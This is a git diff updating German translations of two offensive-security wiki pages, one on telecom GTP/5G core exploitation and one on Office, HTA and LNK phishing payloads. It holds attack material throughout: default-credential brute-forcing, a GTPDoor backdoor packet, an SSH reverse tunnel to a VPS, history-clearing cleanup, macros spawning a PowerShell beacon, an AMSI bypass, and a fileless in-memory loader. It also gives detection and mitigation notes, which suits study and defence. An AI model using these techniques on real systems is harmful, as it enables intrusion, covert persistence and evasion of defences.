Translated ['src/windows-hardening/active-directory-methodology/ad-certi

This commit is contained in:
Translator 2025-09-07 22:17:44 +00:00
parent b37bd186a4
commit edeb460c89
3 changed files with 158 additions and 150 deletions

View File

@ -1,27 +1,27 @@
# Telekommunikations-Netzwerk-Exploitation (GTP / Roaming Environments)
# Telecom Network Exploitation (GTP / Roaming Environments)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> Mobile-Core-Protokolle (GPRS Tunnelling Protocol GTP) durchqueren oft halb-vertrauenswürdige GRX/IPX Roaming-Backbones. Da sie über unverschlüsseltes UDP mit nahezu keiner Authentifizierung laufen, **kann jeder foothold innerhalb eines Telekom-Perimeters normalerweise direkt die Kern-Signalisierungsebenen erreichen**. Die folgenden Notizen sammeln offensive Tricks, die in der Wildnis gegen SGSN/GGSN, PGW/SGW und andere EPC-Nodes beobachtet wurden.
> Mobile-core protocols (GPRS Tunnelling Protocol GTP) durchlaufen häufig halbvertrauenswürdige GRX/IPX roaming backbones. Da sie auf plain UDP mit nahezu keiner Authentifizierung laufen, kann **jedes foothold innerhalb eines telecom perimeter normalerweise direkt die core signalling planes erreichen**. Die folgenden Notizen sammeln offensive Tricks, die in freier Wildbahn gegen SGSN/GGSN, PGW/SGW und andere EPC-Nodes beobachtet wurden.
## 1. Recon & Initial Access
### 1.1 Default OSS / NE Accounts
Eine überraschend große Anzahl von Hersteller-Netzwerkelementen wird mit fest kodierten SSH/Telnet-Benutzern ausgeliefert, wie `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Eine dedizierte wordlist erhöht die Brute-Force-Erfolgsrate dramatisch:
Eine überraschend große Anzahl von Herstellers-Netzelementen wird mit festkodierten SSH-/Telnet-Benutzern ausgeliefert, wie `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Eine dedizierte wordlist erhöht den Brute-Force-Erfolg dramatisch:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
Wenn das Gerät nur eine management VRF bereitstellt, zuerst über einen jump host pivoten (siehe Abschnitt «SGSN Emu Tunnel» weiter unten).
Wenn das Gerät nur ein Management-VRF exponiert, pivot zuerst über einen Jump-Host (siehe Abschnitt «SGSN Emu Tunnel» weiter unten).
### 1.2 Host-Erkennung innerhalb von GRX/IPX
Die meisten GRX-Operatoren erlauben immer noch **ICMP echo** über das Backbone. Kombiniere `masscan` mit den eingebauten `gtpv1` UDP-Probes, um schnell GTP-C-Listener zu kartieren:
Die meisten GRX-Betreiber erlauben weiterhin **ICMP echo** über das Backbone. Kombiniere `masscan` mit den integrierten `gtpv1` UDP-Probes, um GTP-C-Listener schnell zu kartieren:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Auflisten von Teilnehmern `cordscan`
Das folgende Go-Tool erstellt **GTP-C Create PDP Context Request**-Pakete und protokolliert die Antworten. Jede Antwort offenbart die aktuelle **SGSN / MME**, die die abgefragte IMSI bedient, und manchmal das vom Teilnehmer besuchte PLMN.
Das folgende Go-Tool konstruiert **GTP-C Create PDP Context Request** Pakete und protokolliert die Antworten. Jede Antwort offenbart die aktuelle **SGSN / MME**, die die abgefragte IMSI bedient, und manchmal das vom Teilnehmer besuchte PLMN.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
@ -30,11 +30,11 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
Wichtige Flags:
- `--imsi` IMSI des Zielteilnehmers
- `--oper` Home / HNI (MCC+MNC)
- `-w` Schreibe rohe Pakete in pcap
- `--imsi` IMSI des Zielabonnenten
- `--oper` Heimnetz / HNI (MCC+MNC)
- `-w` Rohpakete in pcap schreiben
Wichtige Konstanten innerhalb des Binaries können gepatcht werden, um Scans auszuweiten:
Wichtige Konstanten innerhalb der Binärdatei können gepatcht werden, um Scans zu erweitern:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
@ -42,9 +42,9 @@ common_tcp_ports = "22,23,80,443,8080"
```
## 3. Code-Ausführung über GTP `GTPDoor`
`GTPDoor` ist ein winziger ELF-Dienst, der **UDP 2123 bindet und jedes eingehende GTP-C-Paket parst**. Wenn die Nutzlast mit einem pre-shared tag beginnt, wird der Rest mit (AES-128-CBC) entschlüsselt und über `/bin/sh -c` ausgeführt. stdout/stderr werden in **Echo Response**-Nachrichten exfiltriert, sodass nie eine ausgehende Sitzung erstellt wird.
`GTPDoor` ist ein kleiner ELF-Dienst, der **an UDP 2123 bindet und jedes eingehende GTP-C-Paket parst**. Wenn die Payload mit einem pre-shared tag beginnt, wird der Rest mit AES-128-CBC entschlüsselt und über `/bin/sh -c` ausgeführt. Die stdout/stderr werden in **Echo Response** messages exfiltrated, sodass niemals eine outward session erstellt wird.
Minimales PoC-Paket (Python):
Minimal PoC packet (Python):
```python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
@ -56,20 +56,20 @@ Erkennung:
* jeder Host, der **unbalanced Echo Requests** an SGSN-IP-Adressen sendet
* GTP-Version-Flag auf 1 gesetzt, während message type = 1 (Echo) Abweichung von der Spezifikation
## 4. Pivoting durch das Core-Netz
## 4. Pivoting durch den Core
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` liefert einen SGSN-Emulator, der in der Lage ist, einen **PDP context zu einem echten GGSN/PGW aufzubauen**. Sobald ausgehandelt, erhält Linux ein neues `tun0`-Interface, das vom Roaming-Peer erreichbar ist.
`OsmoGGSN` enthält einen SGSN-Emulator, der in der Lage ist, **einen PDP context zu einem realen GGSN/PGW aufzubauen**. Nach der Aushandlung erhält Linux eine neue `tun0`-Schnittstelle, die vom roaming peer erreichbar ist.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
Durch korrektes firewall hair-pinning umgeht dieser Tunnel signalling-only VLANs und führt dich direkt in die **data plane**.
Mit richtigem firewall hair-pinning umgeht dieser Tunnel signalling-only VLANs und bringt dich direkt in die **Datenebene**.
### 4.2 SSH Reverse Tunnel over Port 53
DNS ist in Roaming-Infrastrukturen fast immer offen. Exponiere einen internen SSH-Dienst auf deinem VPS, der auf :53 lauscht, und kehre später von zu Hause aus zurück:
### 4.2 SSH Reverse Tunnel über Port 53
DNS ist in Roaming-Infrastrukturen fast immer offen. Stelle einen internen SSH-Dienst auf deinem VPS bereit, der auf :53 lauscht, und melde dich später von zu Hause an:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
@ -77,13 +77,13 @@ Prüfe, dass `GatewayPorts yes` auf dem VPS aktiviert ist.
## 5. Covert Channels
| Kanal | Transport | Decodierung | Hinweise |
| Kanal | Transport | Decodierung | Anmerkungen |
|---------|-----------|----------|-------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | pure passive listener, no outbound traffic |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | horcht auf `*.nodep` Subdomain |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | mischt sich unter legitimen GTP-Verkehr |
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | rein passiver Listener, kein ausgehender Datenverkehr |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | überwacht die Subdomain `*.nodep` |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | mischt sich in legitimen GTP-C-Verkehr ein |
Alle implants implementieren watchdogs, die ihre Binärdateien **timestomp** und sich nach einem Absturz re-spawnen.
Alle implants implementieren watchdogs, die ihre Binaries mittels **timestomp** manipulieren und sich nach einem Absturz neu starten.
## 6. Defense Evasion Cheatsheet
```bash
@ -111,79 +111,79 @@ python3 PwnKit.py
# Sudo Baron Samedit CVE-2021-3156
python3 exploit_userspec.py
```
Bereinigungstipp:
Aufräumhinweis:
```bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```
## 8. Tool Box
## 8. Werkzeugkasten
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` custom tooling described in previous sections.
* `FScan` : Intranet-TCP-Scans (`fscan -p 22,80,443 10.0.0.0/24`)
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` custom tooling beschrieben in vorherigen Abschnitten.
* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS rogue WPAD
* `Microsocks` + `ProxyChains` : leichtes SOCKS5 pivoting
* `FRP` (≥0.37) : NAT traversal / asset bridging
* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
* `FRP` (≥0.37) : NAT-Traversal / asset bridging
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
## 9. 5G NAS-Registrierungsangriffe: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
Die 5G-Registrierungsprozedur läuft über NAS (Non-Access Stratum) auf NGAP. Bis NAS-Security durch Security Mode Command/Complete aktiviert ist, sind Initialmeldungen weder authentifiziert noch verschlüsselt. Dieses Pre-Security-Fenster ermöglicht mehrere Angriffswege, wenn man N2-Traffic beobachten oder manipulieren kann (z. B. on-path im Core, rogue gNB oder Testbed).
Das 5G-Registrierungsverfahren läuft über NAS (Non-Access Stratum) auf NGAP. Bis die NAS-Security durch Security Mode Command/Complete aktiviert ist, sind Initialnachrichten weder authentifiziert noch verschlüsselt. Dieses Pre-Security-Fenster ermöglicht mehrere Angriffswege, wenn man N2-Traffic beobachten oder manipulieren kann (z. B. on-path im Core, rogue gNB oder im Testbed).
Registrierungsfluss (vereinfacht):
Vereinfachter Registrierungsfluss:
- Registration Request: UE sendet SUCI (verschlüsseltes SUPI) und capabilities.
- Authentication: AMF/AUSF senden RAND/AUTN; UE gibt RES* zurück.
- Security Mode Command/Complete: NAS-Integrity und Ciphering werden verhandelt und aktiviert.
- PDU Session Establishment: IP/QoS-Setup.
- Authentication: AMF/AUSF senden RAND/AUTN; UE liefert RES* zurück.
- Security Mode Command/Complete: NAS-Integrität und Ciphering werden verhandelt und aktiviert.
- PDU Session Establishment: IP/QoS-Einrichtung.
Lab-Setup-Tipps (non-RF):
- Core: Open5GS Default-Deployment reicht aus, um die Flows zu reproduzieren.
- UE: Simulator oder Test-UE; Dekodierung mit Wireshark.
- Active tooling: 5GReplay (capture/modify/replay NAS innerhalb von NGAP), Sni5Gect (sniffen/patchen/injecten von NAS on-the-fly ohne kompletten rogue gNB hochzufahren).
Tipps zum Lab-Setup (non-RF):
- Core: Open5GS Default-Deployment ist ausreichend, um die Flows zu reproduzieren.
- UE: Simulator oder Test-UE; mit Wireshark dekodieren.
- Aktive Tools: 5GReplay (capture/modify/replay NAS innerhalb von NGAP), Sni5Gect (sniffen/patchen/injecten von NAS on-the-fly ohne kompletten rogue gNB aufzusetzen).
- Nützliche Display-Filter in Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Erwartet: UE/USIM muss SUCI senden (SUPI verschlüsselt mit dem public key des Home-Networks). Das Finden eines Klartext-SUPI/IMSI in der Registration Request zeigt einen Datenschutzfehler, der persistentes Subscriber-Tracking ermöglicht.
Erwartung: UE/USIM muss SUCI übertragen (SUPI mit dem öffentlichen Schlüssel des Home-Network verschlüsselt). Das Auffinden eines Klartext-SUPI/IMSI im Registration Request weist auf einen Privacy-Defekt hin, der persistentes Subscriber-Tracking ermöglicht.
Wie testen:
- Capture die erste NAS-Nachricht in InitialUEMessage und inspiziere das Mobile Identity IE.
- Capture die erste NAS-Nachricht im InitialUEMessage und inspiziere das Mobile Identity IE.
- Wireshark Quick-Checks:
- Es sollte als SUCI decodiert werden, nicht als IMSI.
- Filter-Beispiele: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` sollte vorhanden sein; Abwesenheit und gleichzeitige Präsenz von `imsi` weist auf ein leak hin.
- Es sollte als SUCI dekodiert werden, nicht als IMSI.
- Filter-Beispiele: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` sollte vorhanden sein; Fehlen dessen zusammen mit der Anwesenheit von `imsi` indicates a leak.
Was zu sammeln ist:
- MCC/MNC/MSIN, falls offengelegt; pro-UE protokollieren und über Zeit/Orte verfolgen.
- MCC/MNC/MSIN falls exponiert; pro UE protokollieren und über Zeit/Standorte nachverfolgen.
Gegenmaßnahmen:
- SUCI-only UEs/USIMs durchsetzen; Alarm bei jeglichem IMSI/SUPI in initialen NAS-Meldungen.
Abhilfemaßnahmen:
- SUCI-only UEs/USIMs durchsetzen; Alarm bei jedem IMSI/SUPI im initialen NAS.
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
### 9.2 Herabstufung der Capability-Angaben zu Null-Algorithmen (EEA0/EIA0)
Hintergrund:
- UE gibt unterstützte EEA (Encryption) und EIA (Integrity) im UE Security Capability IE der Registration Request an.
- UE gibt unterstützte EEA (Verschlüsselung) und EIA (Integrität) im UE Security Capability IE des Registration Request an.
- Gängige Zuordnungen: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 sind Null-Algorithmen.
Problem:
- Da die Registration Request nicht integrity-geschützt ist, kann ein on-path Angreifer Capability-Bits löschen, um später während Security Mode Command die Auswahl von EEA0/EIA0 zu erzwingen. Manche Stacks erlauben fälschlicherweise Null-Algorithmen außerhalb von Emergency-Services.
- Da der Registration Request nicht integritätsgeschützt ist, kann ein on-path Angreifer Capability-Bits löschen, um später während Security Mode Command die Auswahl von EEA0/EIA0 zu erzwingen. Einige Stacks erlauben fälschlicherweise Null-Algorithmen auch außerhalb von Notfalldiensten.
Offensive Schritte:
- InitialUEMessage abfangen und das NAS UE Security Capability so modifizieren, dass nur noch EEA0/EIA0 advertised werden.
- Mit Sni5Gect das NAS-Paket hooken und die Capability-Bits patchen, bevor weitergeleitet wird.
- Beobachten, ob das AMF Null-Cipher/Integrity akzeptiert und Security Mode mit EEA0/EIA0 abschließt.
Angriffsschritte:
- Intercept InitialUEMessage und modifiziere das NAS UE Security Capability, sodass nur noch EEA0/EIA0 advertiert werden.
- Mit Sni5Gect die NAS-Nachricht hooken und die Capability-Bits patchen, bevor weitergeleitet wird.
- Beobachten, ob das AMF Null-Ciphers/Integrity akzeptiert und Security Mode mit EEA0/EIA0 abschließt.
Verifikation/Sichtbarkeit:
- In Wireshark die ausgewählten Algorithmen nach Security Mode Command/Complete bestätigen.
- Beispielhafte passive Sniffer-Ausgabe:
- Beispielausgabe eines passiven Sniffers:
```
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
```
Gegenmaßnahmen (verpflichtend):
- Konfigurieren Sie AMF/policy so, dass EEA0/EIA0 abgelehnt werden, außer dort, wo es strikt vorgeschrieben ist (z. B. Notrufe).
- Bevorzugen Sie die Durchsetzung von mindestens EEA2/EIA2; protokollieren und alarmieren Sie bei jedem NAS-Sicherheitskontext, der Null-Algorithmen aushandelt.
- Konfigurieren Sie AMF/policy, um EEA0/EIA0 abzulehnen, außer dort, wo dies strikt vorgeschrieben ist (z. B. Notrufe).
- Setzen Sie mindestens EEA2/EIA2 durch; protokollieren und alarmieren Sie bei jedem NAS-Sicherheitskontext, der Null-Algorithmen aushandelt.
### 9.3 Replay der initial Registration Request (pre-security NAS)
Da initial NAS keine Integrität und Frische bietet, kann eine aufgezeichnete InitialUEMessage+Registration Request an das AMF wieder abgespielt werden.
Da das initiale NAS keine Integrität und Aktualität bietet, kann eine aufgezeichnete InitialUEMessage+Registration Request an das AMF wieder abgespielt werden.
PoC-Regel für 5GReplay, um passende Replays weiterzuleiten:
```xml
@ -209,31 +209,31 @@ boolean_expression="nas_5g.message_type == 65"/>
</beginning>
```
Zu beobachten:
- Ob das AMF das Replay akzeptiert und mit der Authentifizierung fortfährt; fehlende Freshness-/Kontextvalidierung deutet auf Verwundbarkeit hin.
- Ob das AMF das Replay akzeptiert und zur Authentication übergeht; fehlende Prüfung auf Aktualität und Kontextbindung weist auf eine Verwundbarkeit hin.
Gegenmaßnahmen:
- Replay-Schutz/Kontextbindung am AMF erzwingen; pro-GNB/UE Ratenbegrenzung und Korrelation.
- Replay-Schutz/Kontextbindung am AMF durchsetzen; Ratenbegrenzung und Korrelation pro GNB/UE.
### 9.4 Tooling-Hinweise (reproduzierbar)
- Open5GS: Starte ein AMF/SMF/UPF, um das Core zu emulieren; beobachte N2 (NGAP) und NAS.
- Wireshark: verifiziere Decodierungen von NGAP/NAS; wende die obigen Filter an, um Registration zu isolieren.
- 5GReplay: capture eine Registration, dann replaye spezifische NGAP- + NAS-Nachrichten gemäß der Regel.
- Sni5Gect: live sniff/modify/inject des NAS control-plane, um null-Algorithmen zu erzwingen oder Authentifizierungssequenzen zu stören.
### 9.4 Tooling pointers (reproducible)
- Open5GS: ein AMF/SMF/UPF starten, um das Core zu emulieren; N2 (NGAP) und NAS beobachten.
- Wireshark: Decodes von NGAP/NAS prüfen; die oben genannten Filter anwenden, um Registration zu isolieren.
- 5GReplay: eine Registration aufzeichnen, dann spezifische NGAP- + NAS-Nachrichten gemäß Regel replayen.
- Sni5Gect: live sniff/modify/inject des NAS control-plane, um null algorithms zu erzwingen oder Authentication-Sequenzen zu stören.
### 9.5 Defensive Checkliste
- Registration Request kontinuierlich auf plaintext SUPI/IMSI inspizieren; auffällige Geräte/USIMs blockieren.
### 9.5 Defensive checklist
- Fortlaufend Registration Request auf Klartext SUPI/IMSI prüfen; auffällige Geräte/USIMs sperren.
- EEA0/EIA0 ablehnen, außer für eng definierte Notfallverfahren; mindestens EEA2/EIA2 verlangen.
- Rogue oder fehlkonfigurierte Infrastruktur erkennen: unauthorized gNB/AMF, unerwartete N2-Peers.
- Alarm bei NAS Security Modes, die zu null-Algorithmen führen oder häufige Replays von InitialUEMessage verursachen.
- Nicht autorisierte oder fehlkonfigurierte Infrastruktur erkennen: nicht autorisierte gNB/AMF, unerwartete N2-Peers.
- Alarmieren bei NAS-Sicherheitsmodi, die zu null algorithms führen oder häufige Replays von InitialUEMessage verursachen.
---
## Erkennungs-Ideen
1. **Jedes Gerät außer einem SGSN/GGSN, das Create PDP Context Requests aufbaut**.
2. **Nicht-standardmäßige Ports (53, 80, 443), die SSH handshakes von internen IPs empfangen**.
3. **Häufige Echo Requests ohne entsprechende Echo Responses** könnte auf GTPDoor beacons hinweisen.
4. **Hohe Rate von ICMP echo-reply Traffic mit großen, ungleich null identifier/sequence Feldern**.
5. 5G: **InitialUEMessage mit NAS Registration Requests, die wiederholt von identischen Endpunkten stammen** (Replay-Signal).
6. 5G: **NAS Security Mode, das EEA0/EIA0 aushandelt** außerhalb von Notfallkontexten.
## Erkennungsideen
1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
3. **Frequent Echo Requests without corresponding Echo Responses** könnte auf GTPDoor beacons hindeuten.
4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.
5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal).
6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts.
## Referenzen

View File

@ -2,34 +2,34 @@
{{#include ../../banners/hacktricks-training.md}}
## Office-Dokumente
## Office Dokumente
Microsoft Word führt vor dem Öffnen einer Datei eine Validierung der Dateidaten durch. Die Datenvalidierung erfolgt in Form der Identifikation der Datenstruktur gemäß dem OfficeOpenXML-Standard. Tritt während der Identifikation der Datenstruktur ein Fehler auf, wird die analysierte Datei nicht geöffnet.
Microsoft Word führt eine Dateivalidierung durch, bevor eine Datei geöffnet wird. Die Validierung erfolgt in Form der Identifikation der Datenstruktur gemäß dem OfficeOpenXML-Standard. Tritt ein Fehler bei der Identifikation der Datenstruktur auf, wird die analysierte Datei nicht geöffnet.
In der Regel verwenden Word-Dateien, die Makros enthalten, die Erweiterung `.docm`. Es ist jedoch möglich, die Datei umzubenennen, indem man die Dateiendung ändert, und trotzdem die Ausführungsfähigkeit der Makros beizubehalten.\
Zum Beispiel unterstützt eine RTF-Datei per Design keine Makros, aber eine in RTF umbenannte DOCM-Datei wird von Microsoft Word behandelt und kann Makros ausführen.\
Dieselben Interna und Mechanismen gelten für alle Programme der Microsoft Office Suite (Excel, PowerPoint etc.).
Üblicherweise verwenden Word-Dateien mit macros die Erweiterung `.docm`. Allerdings ist es möglich, die Datei durch Ändern der Dateiendung umzubenennen und trotzdem ihre Fähigkeit zur Ausführung von macros beizubehalten.\
Zum Beispiel unterstützt eine RTF-Datei per Design keine macros, aber eine in RTF umbenannte DOCM-Datei wird von Microsoft Word behandelt und kann macros ausführen.\
Die gleichen internen Abläufe und Mechanismen gelten für alle Programme der Microsoft Office Suite (Excel, PowerPoint etc.).
Sie können den folgenden Befehl verwenden, um zu prüfen, welche Erweiterungen von einigen Office-Programmen ausgeführt werden:
Sie können folgenden Befehl verwenden, um zu prüfen, welche Erweiterungen von einigen Office-Programmen ausgeführt werden:
```bash
assoc | findstr /i "word excel powerp"
```
DOCX-Dateien, die auf eine entfernte Vorlage verweisen (File Options Add-ins Manage: Templates Go), die macros enthält, können ebenfalls macros “ausführen”.
DOCX-Dateien, die auf eine entfernte Vorlage verweisen (File Options Add-ins Manage: Templates Go), die macros enthält, können ebenfalls macros “execute”.
### Externes Laden von Bildern
Gehe zu: _Insert --> Quick Parts --> Field_\
_**Kategorien**: Links and References, **Feldnamen**: includePicture, und **Dateiname oder URL**:_ http://<ip>/whatever
Go to: _Insert --> Quick Parts --> Field_\
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
![](<../../images/image (155).png>)
### Macros Backdoor
Es ist möglich, macros zu verwenden, um arbitrary code aus dem Dokument auszuführen.
Es ist möglich, macros zu verwenden, um beliebigen Code aus dem Dokument auszuführen.
#### Autoload-Funktionen
Je häufiger sie sind, desto wahrscheinlicher ist es, dass AV sie erkennt.
Je häufiger sie verwendet werden, desto wahrscheinlicher erkennt AV sie.
- AutoOpen()
- Document_Open()
@ -64,26 +64,26 @@ Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>
```
#### Metadaten manuell entfernen
#### Manually remove metadata
Gehe zu **File > Info > Inspect Document > Inspect Document**, wodurch der Document Inspector geöffnet wird. Klicke **Inspect** und dann **Remove All** neben **Document Properties and Personal Information**.
Gehe zu **File > Info > Inspect Document > Inspect Document**, wodurch der Document Inspector geöffnet wird. Klicke auf **Inspect** und dann auf **Remove All** neben **Document Properties and Personal Information**.
#### Doc-Erweiterung
#### Doc Extension
Wenn Sie fertig sind, wählen Sie das Dropdown **Save as type** und ändern Sie das Format von **`.docx`** zu **Word 97-2003 `.doc`**.\
Machen Sie das, weil Sie **can't save macro's inside a `.docx`** und es ein **stigma** **around** die macro-enabled **`.docm`** Erweiterung gibt (z. B. hat das Vorschauthumbnail ein großes `!` und einige Web-/E-Mail-Gateways blockieren sie vollständig). Daher ist diese **legacy `.doc` extension** der beste Kompromiss.
When finished, select **Save as type** dropdown, change the format from **`.docx`** to **Word 97-2003 `.doc`**.\
Tu dies, weil du **keine Makros in einer `.docx` speichern kannst** und es ein **Stigma** gegenüber der makroaktivierten **`.docm`**-Erweiterung gibt (z. B. hat das Vorschaubild ein großes `!` und einige Web-/E-Mail-Gateways blockieren sie vollständig). Daher ist diese **veraltete `.doc`-Erweiterung der beste Kompromiss**.
#### Generatoren für bösartige Macros
#### Malicious Macros Generators
- MacOS
- [**macphish**](https://github.com/cldrn/macphish)
- [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
## HTA-Dateien
## HTA Files
Eine HTA ist ein Windows-Programm, das **HTML und Skriptsprachen (wie VBScript und JScript)** kombiniert. Sie erzeugt die Benutzeroberfläche und läuft als eine "fully trusted" Anwendung, ohne die Beschränkungen des Sicherheitsmodells eines Browsers.
Eine HTA ist ein Windows-Programm, das **HTML und Skriptsprachen (wie VBScript und JScript) kombiniert**. Es erzeugt die Benutzeroberfläche und wird als "vollständig vertrauenswürdige" Anwendung ausgeführt, ohne die Beschränkungen des Sicherheitsmodells eines Browsers.
Eine HTA wird mit **`mshta.exe`** ausgeführt, welches typischerweise zusammen mit **Internet Explorer** **installed** ist, wodurch **`mshta` dependant on IE** ist. Wenn dieser deinstalliert wurde, können HTAs nicht ausgeführt werden.
Eine HTA wird mit **`mshta.exe`** ausgeführt, das üblicherweise zusammen mit **Internet Explorer** **installiert** ist, wodurch **`mshta` von IE abhängig** ist. Wenn dieser deinstalliert wurde, können HTAs nicht ausgeführt werden.
```html
<--! Basic HTA Execution -->
<html>
@ -138,11 +138,11 @@ var_func
self.close
</script>
```
## Erzwingen von NTLM Authentication
## NTLM-Authentifizierung erzwingen
Es gibt mehrere Möglichkeiten, **NTLM authentication "remotely"** zu erzwingen — zum Beispiel könntest du **unsichtbare Bilder** in E-Mails oder HTML einfügen, auf die der Benutzer zugreift (sogar HTTP MitM?). Oder dem Opfer die **Adresse von Dateien** schicken, die allein durch das **Öffnen des Ordners** eine **Authentifizierung** auslösen.
Es gibt mehrere Möglichkeiten, **NTLM-Authentifizierung „aus der Ferne“ zu erzwingen**, zum Beispiel kannst du **unsichtbare Bilder** in E-Mails oder HTML einfügen, die der Benutzer aufruft (sogar HTTP MitM?). Oder sende dem Opfer die **Adresse von Dateien**, die **eine Authentifizierung** **auslösen**, allein beim **Öffnen des Ordners**.
**Sieh dir diese Ideen und mehr in den folgenden Seiten an:**
**Weitere Ideen und Details auf den folgenden Seiten:**
{{#ref}}
@ -163,15 +163,15 @@ Vergiss nicht, dass du nicht nur den Hash oder die Authentifizierung stehlen kan
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
Hochwirksame Kampagnen liefern ein ZIP, das zwei legitime Decoy-Dokumente (PDF/DOCX) und eine bösartige .lnk enthält. Der Trick besteht darin, dass der eigentliche PowerShell-Loader in den Rohbytes des ZIPs nach einem eindeutigen Marker gespeichert ist, und die .lnk ihn ausschneidet und vollständig im Speicher ausführt.
Hocheffektive Kampagnen liefern ein ZIP, das zwei legitime Köderdokumente (PDF/DOCX) und eine bösartige .lnk enthält. Der Trick besteht darin, dass der eigentliche PowerShell-Loader in den rohen Bytes des ZIPs nach einem eindeutigen Marker gespeichert ist, und die .lnk ihn vollständig im Speicher ausschneidet und ausführt.
Typischer Ablauf, implementiert vom .lnk PowerShell One-Liner:
Typischer Ablauf, implementiert vom .lnk PowerShell one-liner:
1) Finde das ursprüngliche ZIP in üblichen Pfaden: Desktop, Downloads, Documents, %TEMP%, %ProgramData% und im übergeordneten Verzeichnis des aktuellen Arbeitsverzeichnisses.
2) Lies die ZIP-Bytes und finde einen hardcodierten Marker (z. B. xFIQCV). Alles nach dem Marker ist die eingebettete PowerShell-Payload.
3) Kopiere das ZIP nach %ProgramData%, entpacke es dort und öffne das Decoy-.docx, um legitim zu wirken.
1) Finde das ursprüngliche ZIP in üblichen Pfaden: Desktop, Downloads, Documents, %TEMP%, %ProgramData% und dem übergeordneten Verzeichnis des aktuellen Arbeitsverzeichnisses.
2) Lese die ZIP-Bytes und finde einen hartkodierten Marker (z. B. xFIQCV). Alles nach dem Marker ist die eingebettete PowerShell-Payload.
3) Kopiere das ZIP nach %ProgramData%, entpacke es dort und öffne die Köder-.docx, um legitim zu wirken.
4) AMSI für den aktuellen Prozess umgehen: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
5) Deobfuskation der nächsten Stufe (z. B. Entfernen aller # Zeichen) und Ausführung im Speicher.
5) Die nächste Stufe deobfuskieren (z. B. alle #-Zeichen entfernen) und im Speicher ausführen.
Beispiel eines PowerShell-Skeletts, um die eingebettete Stufe auszuschneiden und auszuführen:
```powershell
@ -191,21 +191,30 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
Invoke-Expression $code
```
Hinweise
- Delivery often abuses reputable PaaS subdomains (e.g., *.herokuapp.com) and may gate payloads (serve benign ZIPs based on IP/UA).
- Die nächste Stufe entschlüsselt häufig base64/XOR shellcode und führt ihn via Reflection.Emit + VirtualAlloc aus, um Spuren auf der Festplatte zu minimieren.
- Die Zustellung missbraucht oft vertrauenswürdige PaaS-Subdomains (z. B. *.herokuapp.com) und kann payloads per IP/UA filtern (liefert harmlose ZIPs).
- Die nächste Stufe entschlüsselt häufig base64/XOR shellcode und führt ihn über Reflection.Emit + VirtualAlloc aus, um Artefakte auf der Festplatte zu minimieren.
In derselben Kette verwendete Persistence
- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here:
Persistence used in the same chain
- COM TypeLib hijacking of the Microsoft Web Browser control, sodass IE/Explorer oder jede App, die es einbettet, das payload automatisch neu startet. Siehe Details und einsatzbereite Befehle hier:
{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
{{#endref}}
Hunting/IOCs
- ZIP-Dateien, die die ASCII-Markierungszeichenfolge (z. B., xFIQCV) enthalten, welche an die Archivdaten angehängt ist.
